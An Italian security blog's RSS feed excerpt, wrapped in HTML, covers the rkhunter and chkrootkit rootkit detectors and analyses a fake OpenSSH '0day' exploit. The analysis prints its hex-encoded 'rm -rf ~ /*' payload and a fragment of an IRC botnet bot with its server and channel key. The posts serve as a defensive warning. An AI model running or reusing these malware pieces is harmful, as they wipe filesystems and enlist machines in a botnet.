shared_libs     =&amp;gt; shared_libs_path&lt;br /&gt;
startup_files   =&amp;gt; startup_malware&lt;br /&gt;
system_commands =&amp;gt; attributes hashes immutable scripts shared_libs_path strings &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
Available languages:&lt;br /&gt;
cn en zh zh.utf8 &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
Rootkits checked for:&lt;br /&gt;
55808 Trojan - Variant A, AjaKit, Ambient (ark), Apache Worm, aPa Kit, Balaur,&lt;br /&gt;
BeastKit, beX2, BOBKit, CiNIK Worm (Slapper.B variant), Danny-Boy's Abuse Kit, Devil,&lt;br /&gt;
Dica, Dreams, Duarawkz, Enye LKM, Flea Linux, FreeBSD,&lt;br /&gt;
Fuck`it, GasKit, Heroin LKM, HjC Kit, ignoKit, ImperalsS-FBRK,&lt;br /&gt;
IntoXonia-NG, Irix, Kitko, Knark, Li0n Worm, Lockit / LJK2,&lt;br /&gt;
Mood-NT, MRK, Ni0, Ohhara, Optic Kit (Tux), Oz,&lt;br /&gt;
Phalanx, Phalanx2, Portacelo, R3dstorm Toolkit, RH-Sharpe's, RSHA's,&lt;br /&gt;
Scalper Worm, Shutdown, SHV4, SHV5, Sin, SInAR,&lt;br /&gt;
Slapper, Sneakin, Suckit, SunOS / NSDAP, SunOS Rootkit, Superkit,&lt;br /&gt;
T0rn, TBD (Telnet BackDoor), TeLeKiT, Trojanit Kit, Tuxtendo, URK,&lt;br /&gt;
Vampire, VcKit, Volc, X-Org SunOS, zaRwT.KiT&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
Ad esempio:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
# rkhunter --enable hidden_procs,loaded_modules&lt;br /&gt;
[ Rootkit Hunter version 1.3.4 ] &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
Checking for rootkits... &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
Performing malware checks&lt;br /&gt;
Checking for hidden processes                            [ None found ] &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
Performing Linux specific checks&lt;br /&gt;
Checking loaded kernel modules                           [ OK ] &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
[Press  to continue]&lt;br /&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;br /&gt;
System checks summary&lt;br /&gt;
===================== &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
File properties checks...&lt;br /&gt;
All checks skipped &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
Rootkit checks...&lt;br /&gt;
Rootkits checked : 0&lt;br /&gt;
Possible rootkits: 0 &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
Applications checks...&lt;br /&gt;
All checks skipped &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
The system checks took: 1 minute and 13 seconds&lt;br /&gt;
All results have been written to the logfile (/var/log/rkhunter.log)&lt;br /&gt;
No warnings were found while checking the system.&lt;br /&gt;
[...]&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
Come per altri tool di controllo, è una buona idea attivare rkhunter nell&amp;#8217;ambito di un cron job come il seguente, che utilizza uno script inserito nella directory /etc/cron.daily, in modo da essere lanciato automaticamente ogni giorno alla stessa ora.&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
( /usr/local/bin/rkhunter --cronjob --update --rwo &amp;amp;&amp;amp; echo &quot;&quot; ) \&lt;br /&gt;
| /bin/mail -s &quot;Rkhunter giornaliero su  `uname -n`&quot; root&lt;br /&gt;
exit 0&lt;br /&gt;
&lt;/code&gt;&lt;/p&gt;
">
<table cellspacing="0" cellpadding="0" border="0" width="100%" ><tr><td align="left">Send post as <a href="http://en.pdf24.org" target="_blank">PDF</a> to <input class="pdf24Plugin-cp-input" type="text" name="sendEmailTo" value="Enter email address" onMouseDown="this.value = '';"> <input class="pdf24Plugin-cp-submit" type="submit" value="Send"></td><td align="right"><a href="http://en.pdf24.org" target="_blank" title="PDF | PDF Creator | PDF Converter"><img src="http://www.pdf24.org/images/sheep_16x16.gif" alt="PDF | PDF Creator | PDF Converter" border="0"></a></td></table></form></div>]]></content:encoded>
			<wfw:commentRss>http://www.voipandhack.it/archives/linux/difendersi-con-rkhunter/feed</wfw:commentRss>
		</item>
		<item>
		<title>Difendersi con chkrootkit</title>
		<link>http://www.voipandhack.it/archives/linux/difendersi-con-chkrootkit</link>
		<comments>http://www.voipandhack.it/archives/linux/difendersi-con-chkrootkit#comments</comments>
		<pubDate>Wed, 10 Feb 2010 21:01:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Hacking]]></category>

		<category><![CDATA[Linux]]></category>

		<category><![CDATA[Sicurezza]]></category>

		<category><![CDATA[chkrootkit]]></category>

		<category><![CDATA[malware]]></category>

		<category><![CDATA[open source]]></category>

		<category><![CDATA[rootkit]]></category>

		<category><![CDATA[security]]></category>

		<category><![CDATA[software]]></category>

		<guid isPermaLink="false">http://www.voipandhack.it/?p=1216</guid>
		<description><![CDATA[Chkrootkit è un ottimo strumento open source progettato per aiutare gli amministratori di sistema nel compito di controllare periodicamente l&#8217;integrità e la sicurezza della proprie macchine UNIX/linux.
Chkrootkit (Check Rootkit) è uno shell script che richiama molti comuni tools UNIX/Linux (awk, cut,egrep, find, head, id, ls, netstat, ps, strings, sed, uname), per rilevare all&#8217;interno di fondamentali [...]]]></description>
			<content:encoded><![CDATA[<p>Chkrootkit è un ottimo strumento open source progettato per aiutare gli amministratori di sistema nel compito di controllare periodicamente l&#8217;integrità e la sicurezza della proprie macchine UNIX/linux.<span id="more-1216"></span></p>
<p>Chkrootkit (Check Rootkit) è uno shell script che richiama molti comuni tools UNIX/Linux (awk, cut,egrep, find, head, id, ls, netstat, ps, strings, sed, uname), per rilevare all&#8217;interno di fondamentali programmi di sistema la presenza di particolari pattern e per confrontare il contenuto del filesystem /proc con l&#8217; output del comando ps (process status) alla ricerca di discrepanze.</p>
<p>Dato che l&#8217;affidabilità di qualsiasi programma destinato al rilevamento di malware (come rootkits e virus) è sempre condizionata dell&#8217;eventualità di essere a sua volta compromesso, sarebbe opportuno che il software di controllo venisse lanciato da un &#8220;rescue disc&#8221; (typicamente un Live CD).</p>
<p>Il programma, che lanciato senza ulteriori parametri effettuerebbe tutti i tests disponibili, con l&#8217;opzione -h restituisce le proprie opzioni di esecuzione:<br />
<code><br />
# chkrootkit -h </code><br />
<code><br />
Usage: ./chkrootkit [options] [testname ...]<br />
Options:<br />
-h                show this help and exit<br />
-V                show version information and exit<br />
-l                show available tests<br />
-d                debug<br />
-q                quiet mode<br />
-x                expert mode<br />
-r dir            use dir as the root directory<br />
-p dir1:dir2:dirN path for the external commands used by chkrootkit<br />
-n                skip NFS mounted dirs<br />
</code><br />
dove testname indica uno o più elementi presi dalla lista seguente, ottenuta con:<br />
<code><br />
# chkrootkit -l </code><br />
<code><br />
/usr/sbin/chkrootkit: tests: aliens asp bindshell lkm rexedcs sniffer w55808 wted scalper slapper z2 amd basename biff chfn chsh cron crontab date du dirname echo egrep env find fingerd gpm grep hdparm su ifconfig inetd inetdconf identd init killall ldsopreload login ls lsof mail mingetty netstat named passwd pidof pop2 pop3 ps pstree rpcinfo rlogind rshd slogin sendmail sshd syslogd tar tcpd tcpdump top telnetd timed traceroute vdir w write<br />
</code><br />
Per esempio:<br />
<code><br />
# chkrootkit aliens<br />
ROOTDIR is `/'<br />
Checking `aliens'...<br />
/dev/shm/pulse-shm-3167735092<br />
Searching for sniffer's logs, it may take a while...        nothing found<br />
Searching for rootkit HiDrootkit's default files...         nothing found<br />
Searching for rootkit t0rn's default files...               nothing found<br />
Searching for t0rn's v8 defaults...                         nothing found<br />
Searching for rootkit Lion's default files...               nothing found<br />
[...]<br />
Searching for ENYELKM rootkit default files&#8230;              nothing found<br />
Searching for common ssh-scanners default files&#8230;          nothing found<br />
Searching for anomalies in shell history files&#8230;           nothing found<br />
</code><br />
Il comando seguente controlla invece se i binari ps e ls siano stati compromessi e inoltre verifica che nessuna interfaccia di rete si trovi in promiscuous mode:<br />
<code><br />
# ./chkrootkit ps ls sniffer<br />
ROOTDIR is `/'<br />
Checking `ps'...                   not infected<br />
Checking `ls'...                   not infected<br />
Checking `sniffer'...<br />
lo: not promisc and no packet sniffer sockets<br />
ppp0: not promisc and no packet sniffer sockets<br />
</code><br />
Con la opzione -q chkrootkit opera in &#8220;quiet mode&#8221;. In tale modalità vengono emessi solamente i messaggi relativi allo status &#8220;infected&#8221;.</p>
<p>Con la opzione -x  si possono esaminare stringhe sospette all&#8217;interno di programmi binari che possano indicare la presenza di un trojan.<br />
In tal caso tutta la analisi viene lasciata all&#8217;utente.</p>
<p>Ecco come trovare dei pathnames all&#8217;interno di un comando di sistema:<br />
<code><br />
# chkrootkit -x login | egrep '^/'<br />
/lib/ld-linux.so.2<br />
/usr/share/locale<br />
/var/log/faillog<br />
/var/log/wtmp<br />
/dev/<br />
/dev/%s<br />
/etc/gshadow<br />
/bin/sh<br />
/etc/login.defs<br />
</code><br />
È possibile, con la opzione -p, fornire a chkrootkit un percorso di ricerca alternativo, per fare in modo che non adoperi i binari di un sistema (possibilmente) compromesso per effettuare i propri tests.</p>
<p>Per usare, ad esempio, i binari presenti in /mnt/cdrom/bin:<br />
<code><br />
# chkrootkit -p /mnt/cdrom/bin<br />
</code><br />
È anche possibile aggiungere più paths separate da un carattere &#8220;:&#8221;<br />
<code><br />
# chkrootkit -p /mnt/cdrom/bin:/mnt/floppy/bin<br />
</code><br />
Talvolta può essere utile montare il disco di una macchina compromessa e specificare una nuova rootdir con la opzione &#8220;-r&#8221;.</p>
<p>Supponendo ad esempio che il disco che si vuole controllare sia montato sotto /mnt/dsk-stranger, si può impartire:<br />
<code><br />
# chkrootkit -r /mnt/dsk-stranger<br />
</code><br />
Ovviamente, la validità di uno strumento come chkrootkit risiede in un utilizzo regolare, possibilmente schedulato.<br />
Per ottenerne, ad esempio, i risultati una volta al giorno per email alle 5 am, si può inserire nel cron file di root (sotto Debian/Ubunti è /var/spool/cron/crontabs/root):<br />
<code><br />
0 5 * * * (cd /usr/local/chkrootkit; ./chkrootkit 2&gt;&amp;1 | mail -s "esito chkrootkit" me@mycompany.com)<br />
</code><br />
quindi:<br />
<code><br />
# /etc/init.d/cron restart<br />
</code></p>
<div class="pdf24Plugin-cp-box"><form method="POST" action="http://doc2pdf.pdf24.org/doc2pdf/wordpress.php" target="pdf24PopWin" onsubmit="window.open('about:blank', 'pdf24PopWin', 'scrollbars=yes,width=400,height=200,top=0,left=0'); return true;"><input type="hidden" name="blogCharset" value="UTF-8">
<input type="hidden" name="blogPosts" value="1">
<input type="hidden" name="blogUrl" value="http://www.voipandhack.it">
<input type="hidden" name="blogName" value="VoIP &amp;amp; Hack">
<input type="hidden" name="blogValueEncoding" value="htmlSpecialChars">
<input type="hidden" name="postTitle_0" value="Difendersi con chkrootkit">
<input type="hidden" name="postLink_0" value="http://www.voipandhack.it/archives/linux/difendersi-con-chkrootkit">
<input type="hidden" name="postAuthor_0" value="admin">
<input type="hidden" name="postDateTime_0" value="2010-02-10 22:02:31">
<input type="hidden" name="postContent_0" value="&lt;p&gt;Chkrootkit è un ottimo strumento open source progettato per aiutare gli amministratori di sistema nel compito di controllare periodicamente l&amp;#8217;integrità e la sicurezza della proprie macchine UNIX/linux.&lt;span id=&quot;more-1216&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Chkrootkit (Check Rootkit) è uno shell script che richiama molti comuni tools UNIX/Linux (awk, cut,egrep, find, head, id, ls, netstat, ps, strings, sed, uname), per rilevare all&amp;#8217;interno di fondamentali programmi di sistema la presenza di particolari pattern e per confrontare il contenuto del filesystem /proc con l&amp;#8217; output del comando ps (process status) alla ricerca di discrepanze.&lt;/p&gt;
&lt;p&gt;Dato che l&amp;#8217;affidabilità di qualsiasi programma destinato al rilevamento di malware (come rootkits e virus) è sempre condizionata dell&amp;#8217;eventualità di essere a sua volta compromesso, sarebbe opportuno che il software di controllo venisse lanciato da un &amp;#8220;rescue disc&amp;#8221; (typicamente un Live CD).&lt;/p&gt;
&lt;p&gt;Il programma, che lanciato senza ulteriori parametri effettuerebbe tutti i tests disponibili, con l&amp;#8217;opzione -h restituisce le proprie opzioni di esecuzione:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
# chkrootkit -h &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
Usage: ./chkrootkit [options] [testname ...]&lt;br /&gt;
Options:&lt;br /&gt;
-h                show this help and exit&lt;br /&gt;
-V                show version information and exit&lt;br /&gt;
-l                show available tests&lt;br /&gt;
-d                debug&lt;br /&gt;
-q                quiet mode&lt;br /&gt;
-x                expert mode&lt;br /&gt;
-r dir            use dir as the root directory&lt;br /&gt;
-p dir1:dir2:dirN path for the external commands used by chkrootkit&lt;br /&gt;
-n                skip NFS mounted dirs&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
dove testname indica uno o più elementi presi dalla lista seguente, ottenuta con:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
# chkrootkit -l &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
/usr/sbin/chkrootkit: tests: aliens asp bindshell lkm rexedcs sniffer w55808 wted scalper slapper z2 amd basename biff chfn chsh cron crontab date du dirname echo egrep env find fingerd gpm grep hdparm su ifconfig inetd inetdconf identd init killall ldsopreload login ls lsof mail mingetty netstat named passwd pidof pop2 pop3 ps pstree rpcinfo rlogind rshd slogin sendmail sshd syslogd tar tcpd tcpdump top telnetd timed traceroute vdir w write&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
Per esempio:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
# chkrootkit aliens&lt;br /&gt;
ROOTDIR is `/'&lt;br /&gt;
Checking `aliens'...&lt;br /&gt;
/dev/shm/pulse-shm-3167735092&lt;br /&gt;
Searching for sniffer's logs, it may take a while...        nothing found&lt;br /&gt;
Searching for rootkit HiDrootkit's default files...         nothing found&lt;br /&gt;
Searching for rootkit t0rn's default files...               nothing found&lt;br /&gt;
Searching for t0rn's v8 defaults...                         nothing found&lt;br /&gt;
Searching for rootkit Lion's default files...               nothing found&lt;br /&gt;
[...]&lt;br /&gt;
Searching for ENYELKM rootkit default files&amp;#8230;              nothing found&lt;br /&gt;
Searching for common ssh-scanners default files&amp;#8230;          nothing found&lt;br /&gt;
Searching for anomalies in shell history files&amp;#8230;           nothing found&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
Il comando seguente controlla invece se i binari ps e ls siano stati compromessi e inoltre verifica che nessuna interfaccia di rete si trovi in promiscuous mode:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
# ./chkrootkit ps ls sniffer&lt;br /&gt;
ROOTDIR is `/'&lt;br /&gt;
Checking `ps'...                   not infected&lt;br /&gt;
Checking `ls'...                   not infected&lt;br /&gt;
Checking `sniffer'...&lt;br /&gt;
lo: not promisc and no packet sniffer sockets&lt;br /&gt;
ppp0: not promisc and no packet sniffer sockets&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
Con la opzione -q chkrootkit opera in &amp;#8220;quiet mode&amp;#8221;. In tale modalità vengono emessi solamente i messaggi relativi allo status &amp;#8220;infected&amp;#8221;.&lt;/p&gt;
&lt;p&gt;Con la opzione -x  si possono esaminare stringhe sospette all&amp;#8217;interno di programmi binari che possano indicare la presenza di un trojan.&lt;br /&gt;
In tal caso tutta la analisi viene lasciata all&amp;#8217;utente.&lt;/p&gt;
&lt;p&gt;Ecco come trovare dei pathnames all&amp;#8217;interno di un comando di sistema:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
# chkrootkit -x login | egrep '^/'&lt;br /&gt;
/lib/ld-linux.so.2&lt;br /&gt;
/usr/share/locale&lt;br /&gt;
/var/log/faillog&lt;br /&gt;
/var/log/wtmp&lt;br /&gt;
/dev/&lt;br /&gt;
/dev/%s&lt;br /&gt;
/etc/gshadow&lt;br /&gt;
/bin/sh&lt;br /&gt;
/etc/login.defs&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
È possibile, con la opzione -p, fornire a chkrootkit un percorso di ricerca alternativo, per fare in modo che non adoperi i binari di un sistema (possibilmente) compromesso per effettuare i propri tests.&lt;/p&gt;
&lt;p&gt;Per usare, ad esempio, i binari presenti in /mnt/cdrom/bin:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
# chkrootkit -p /mnt/cdrom/bin&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
È anche possibile aggiungere più paths separate da un carattere &amp;#8220;:&amp;#8221;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
# chkrootkit -p /mnt/cdrom/bin:/mnt/floppy/bin&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
Talvolta può essere utile montare il disco di una macchina compromessa e specificare una nuova rootdir con la opzione &amp;#8220;-r&amp;#8221;.&lt;/p&gt;
&lt;p&gt;Supponendo ad esempio che il disco che si vuole controllare sia montato sotto /mnt/dsk-stranger, si può impartire:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
# chkrootkit -r /mnt/dsk-stranger&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
Ovviamente, la validità di uno strumento come chkrootkit risiede in un utilizzo regolare, possibilmente schedulato.&lt;br /&gt;
Per ottenerne, ad esempio, i risultati una volta al giorno per email alle 5 am, si può inserire nel cron file di root (sotto Debian/Ubunti è /var/spool/cron/crontabs/root):&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
0 5 * * * (cd /usr/local/chkrootkit; ./chkrootkit 2&amp;gt;&amp;amp;1 | mail -s &quot;esito chkrootkit&quot; me@mycompany.com)&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
quindi:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
# /etc/init.d/cron restart&lt;br /&gt;
&lt;/code&gt;&lt;/p&gt;
">
<table cellspacing="0" cellpadding="0" border="0" width="100%" ><tr><td align="left">Send post as <a href="http://en.pdf24.org" target="_blank">PDF</a> to <input class="pdf24Plugin-cp-input" type="text" name="sendEmailTo" value="Enter email address" onMouseDown="this.value = '';"> <input class="pdf24Plugin-cp-submit" type="submit" value="Send"></td><td align="right"><a href="http://en.pdf24.org" target="_blank" title="PDF | PDF Creator | PDF Converter"><img src="http://www.pdf24.org/images/sheep_16x16.gif" alt="PDF | PDF Creator | PDF Converter" border="0"></a></td></table></form></div>]]></content:encoded>
			<wfw:commentRss>http://www.voipandhack.it/archives/linux/difendersi-con-chkrootkit/feed</wfw:commentRss>
		</item>
		<item>
		<title>A volte ritornano!</title>
		<link>http://www.voipandhack.it/archives/linux/a-volte-ritornano</link>
		<comments>http://www.voipandhack.it/archives/linux/a-volte-ritornano#comments</comments>
		<pubDate>Wed, 10 Feb 2010 14:33:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Hacking]]></category>

		<category><![CDATA[Linux]]></category>

		<category><![CDATA[Sicurezza]]></category>

		<category><![CDATA[botnets]]></category>

		<category><![CDATA[exploit]]></category>

		<category><![CDATA[malware]]></category>

		<category><![CDATA[software]]></category>

		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://www.voipandhack.it/?p=1213</guid>
		<description><![CDATA[Ho scoperto che il falso exploit open-ssh &#8220;0day&#8221; apparso magicamente pochi giorni fa, e di cui ho già parlato qui, aveva già fatto la sua apparizione a metà luglio 2009 col nome di OpenOwn.c.
Esattamente come la sua reincarnazione, il falso exploit comprendeva tre stringhe di codice offuscato, definite come jmpcode[], shellcode[] ed fbsd_shellcode[].
Come già stabilito, [...]]]></description>
			<content:encoded><![CDATA[<p>Ho scoperto che il falso exploit open-ssh &#8220;0day&#8221; apparso magicamente pochi giorni fa, e di cui ho già parlato <a href="http://www.voipandhack.it/archives/linux/exploit-openssh-per-tonni">qui</a>, aveva già fatto la sua apparizione a metà luglio 2009 col nome di OpenOwn.c.<span id="more-1213"></span></p>
<p>Esattamente come la sua reincarnazione, il falso exploit comprendeva tre stringhe di codice offuscato, definite come jmpcode[], shellcode[] ed fbsd_shellcode[].</p>
<p>Come già stabilito, jmpcode[] non è altro che una rappresentazione esadecimale di &#8220;rm -rf ~ /* 2&gt; /dev/null &amp;&#8221;, comando destinato a cancellare l&#8217;intero contenuto della home directory o, nel peggiore dei casi, della root directory, nel caso in cui venisse eseguito coi privilegi di root.</p>
<p>shellcode[] ed fbsd_shellcode[] aprono invece una connessione verso euIRC, un network di Internet Relay Chat, aggregandosi ad un canale &#8220;key-protected&#8221;, in definitiva arruolandosi in una botnet, come si puo arguire ad esempio dalla porzione di codice seguente:<br />
<code><br />
#!/usr/bin/perl<br />
$chan="#cn";$key ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}d +x /tmp/hi 2&gt;/dev/null;/tmp/hi";<br />
</code><br />
Il falso exploit remoto (ma autenticissimo exploit locale!) era stato attribuito al famigerato anti-sec group, con l&#8217;obiettivo di fare strage di script kiddies sempre alla ricerca di un nuovo exploit, e magari di colpire anche qualche ricercatore troppo rilassato.</p>
<p>Di sicuro la sua ricomparsa è una buona occasione per ribadire quella che dovrebbe essere una procedure standard, almeno riguardo a software di questo tipo: ispezionare sempre il codice prima di mandarlo in esecuzione, e farlo quindi in un ambiente circoscritto e controllato, tipo una virtual machine.</p>
<div class="pdf24Plugin-cp-box"><form method="POST" action="http://doc2pdf.pdf24.org/doc2pdf/wordpress.php" target="pdf24PopWin" onsubmit="window.open('about:blank', 'pdf24PopWin', 'scrollbars=yes,width=400,height=200,top=0,left=0'); return true;"><input type="hidden" name="blogCharset" value="UTF-8">
<input type="hidden" name="blogPosts" value="1">
<input type="hidden" name="blogUrl" value="http://www.voipandhack.it">
<input type="hidden" name="blogName" value="VoIP &amp;amp; Hack">
<input type="hidden" name="blogValueEncoding" value="htmlSpecialChars">
<input type="hidden" name="postTitle_0" value="A volte ritornano!">
<input type="hidden" name="postLink_0" value="http://www.voipandhack.it/archives/linux/a-volte-ritornano">
<input type="hidden" name="postAuthor_0" value="admin">
<input type="hidden" name="postDateTime_0" value="2010-02-10 15:02:18">
<input type="hidden" name="postContent_0" value="&lt;p&gt;Ho scoperto che il falso exploit open-ssh &amp;#8220;0day&amp;#8221; apparso magicamente pochi giorni fa, e di cui ho già parlato &lt;a href=&quot;http://www.voipandhack.it/archives/linux/exploit-openssh-per-tonni&quot;&gt;qui&lt;/a&gt;, aveva già fatto la sua apparizione a metà luglio 2009 col nome di OpenOwn.c.&lt;span id=&quot;more-1213&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Esattamente come la sua reincarnazione, il falso exploit comprendeva tre stringhe di codice offuscato, definite come jmpcode[], shellcode[] ed fbsd_shellcode[].&lt;/p&gt;
&lt;p&gt;Come già stabilito, jmpcode[] non è altro che una rappresentazione esadecimale di &amp;#8220;rm -rf ~ /* 2&amp;gt; /dev/null &amp;amp;&amp;#8221;, comando destinato a cancellare l&amp;#8217;intero contenuto della home directory o, nel peggiore dei casi, della root directory, nel caso in cui venisse eseguito coi privilegi di root.&lt;/p&gt;
&lt;p&gt;shellcode[] ed fbsd_shellcode[] aprono invece una connessione verso euIRC, un network di Internet Relay Chat, aggregandosi ad un canale &amp;#8220;key-protected&amp;#8221;, in definitiva arruolandosi in una botnet, come si puo arguire ad esempio dalla porzione di codice seguente:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
#!/usr/bin/perl&lt;br /&gt;
$chan=&quot;#cn&quot;;$key =&quot;fags&quot;;$nick=&quot;phpfr&quot;;$server=&quot;irc.ham.de.euirc.net&quot;;$SIG{TERM}d +x /tmp/hi 2&amp;gt;/dev/null;/tmp/hi&quot;;&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
Il falso exploit remoto (ma autenticissimo exploit locale!) era stato attribuito al famigerato anti-sec group, con l&amp;#8217;obiettivo di fare strage di script kiddies sempre alla ricerca di un nuovo exploit, e magari di colpire anche qualche ricercatore troppo rilassato.&lt;/p&gt;
&lt;p&gt;Di sicuro la sua ricomparsa è una buona occasione per ribadire quella che dovrebbe essere una procedure standard, almeno riguardo a software di questo tipo: ispezionare sempre il codice prima di mandarlo in esecuzione, e farlo quindi in un ambiente circoscritto e controllato, tipo una virtual machine.&lt;/p&gt;
">
<table cellspacing="0" cellpadding="0" border="0" width="100%" ><tr><td align="left">Send post as <a href="http://en.pdf24.org" target="_blank">PDF</a> to <input class="pdf24Plugin-cp-input" type="text" name="sendEmailTo" value="Enter email address" onMouseDown="this.value = '';"> <input class="pdf24Plugin-cp-submit" type="submit" value="Send"></td><td align="right"><a href="http://en.pdf24.org" target="_blank" title="PDF | PDF Creator | PDF Converter"><img src="http://www.pdf24.org/images/sheep_16x16.gif" alt="PDF | PDF Creator | PDF Converter" border="0"></a></td></table></form></div>]]></content:encoded>
			<wfw:commentRss>http://www.voipandhack.it/archives/linux/a-volte-ritornano/feed</wfw:commentRss>
		</item>
		<item>
		<title>Exploit OpenSSH per tonni</title>
		<link>http://www.voipandhack.it/archives/linux/exploit-openssh-per-tonni</link>
		<comments>http://www.voipandhack.it/archives/linux/exploit-openssh-per-tonni#comments</comments>
		<pubDate>Mon, 08 Feb 2010 21:36:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Hacking]]></category>

		<category><![CDATA[Linux]]></category>

		<category><![CDATA[Sicurezza]]></category>

		<category><![CDATA[exploit]]></category>

		<category><![CDATA[malware]]></category>

		<category><![CDATA[security]]></category>

		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://www.voipandhack.it/?p=1209</guid>
		<description><![CDATA[Bella &#8220;gaffe&#8221;, per non parlare di figura di m&#8230;, quella commessa dal sedicente &#8220;Security Blog&#8221; (?) PenTestIT (www.pentestit.com), che ieri pubblicava in prima pagina la notizia di un exploit &#8220;0day&#8221; a carico di OpenSSH, rendendone contemporaneamente disponibile il sorgente, col nome di &#8220;openssh-53p1-remote-root.c&#8221; , senza preventivamente averne verificato il comportamento (voglio credere).
Si trattava in realtà [...]]]></description>
			<content:encoded><![CDATA[<p>Bella &#8220;gaffe&#8221;, per non parlare di figura di m&#8230;, quella commessa dal sedicente &#8220;Security Blog&#8221; (?) PenTestIT (www.pentestit.com), che ieri pubblicava in prima pagina la notizia di un exploit &#8220;0day&#8221; a carico di OpenSSH, rendendone contemporaneamente disponibile il sorgente, col nome di &#8220;openssh-53p1-remote-root.c&#8221; , senza preventivamente averne verificato il comportamento (voglio credere).<span id="more-1209"></span></p>
<p>Si trattava in realtà di un &#8220;fake exploit&#8221; che, se lanciato con i privilegi di root, avrebbe semplicemente cancellato l&#8217;intero filesystem della macchina locale, come si evince facilmente dalla conversione in ascii dalla seguente stringa, contenuta nel sorgente incriminato:<br />
<code><br />
char jmpcode[] =<br />
&#8220;x72&#215;6Dx20&#215;2Dx72&#215;66x20&#215;7ex20&#215;2Fx2Ax20&#215;32x3ex20&#215;2f&#8221;<br />
&#8220;x64&#215;65x76&#215;2fx6ex75&#215;6cx6cx20&#215;26&#8243;;<br />
</code><br />
ovvero:</p>
<p><img class="aligncenter size-full wp-image-1210" title="hex2asc" src="http://www.voipandhack.it/wp-content/uploads/2010/02/hex2asc.png" alt="hex2asc" width="500" height="201" /></p>
<p>Ogni ulteriore commento mi pare superfluo!</p>
<div class="pdf24Plugin-cp-box"><form method="POST" action="http://doc2pdf.pdf24.org/doc2pdf/wordpress.php" target="pdf24PopWin" onsubmit="window.open('about:blank', 'pdf24PopWin', 'scrollbars=yes,width=400,height=200,top=0,left=0'); return true;"><input type="hidden" name="blogCharset" value="UTF-8">
<input type="hidden" name="blogPosts" value="1">
<input type="hidden" name="blogUrl" value="http://www.voipandhack.it">
<input type="hidden" name="blogName" value="VoIP &amp;amp; Hack">
<input type="hidden" name="blogValueEncoding" value="htmlSpecialChars">
<input type="hidden" name="postTitle_0" value="Exploit OpenSSH per tonni">
<input type="hidden" name="postLink_0" value="http://www.voipandhack.it/archives/linux/exploit-openssh-per-tonni">
<input type="hidden" name="postAuthor_0" value="admin">
<input type="hidden" name="postDateTime_0" value="2010-02-08 22:02:17">
<input type="hidden" name="postContent_0" value="&lt;p&gt;Bella &amp;#8220;gaffe&amp;#8221;, per non parlare di figura di m&amp;#8230;, quella commessa dal sedicente &amp;#8220;Security Blog&amp;#8221; (?) PenTestIT (www.pentestit.com), che ieri pubblicava in prima pagina la notizia di un exploit &amp;#8220;0day&amp;#8221; a carico di OpenSSH, rendendone contemporaneamente disponibile il sorgente, col nome di &amp;#8220;openssh-53p1-remote-root.c&amp;#8221; , senza preventivamente averne verificato il comportamento (voglio credere).&lt;span id=&quot;more-1209&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Si trattava in realtà di un &amp;#8220;fake exploit&amp;#8221; che, se lanciato con i privilegi di root, avrebbe semplicemente cancellato l&amp;#8217;intero filesystem della macchina locale, come si evince facilmente dalla conversione in ascii dalla seguente stringa, contenuta nel sorgente incriminato:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
char jmpcode[] =&lt;br /&gt;
&amp;#8220;x72&amp;#215;6Dx20&amp;#215;2Dx72&amp;#215;66x20&amp;#215;7ex20&amp;#215;2Fx2Ax20&amp;#215;32x3ex20&amp;#215;2f&amp;#8221;&lt;br /&gt;
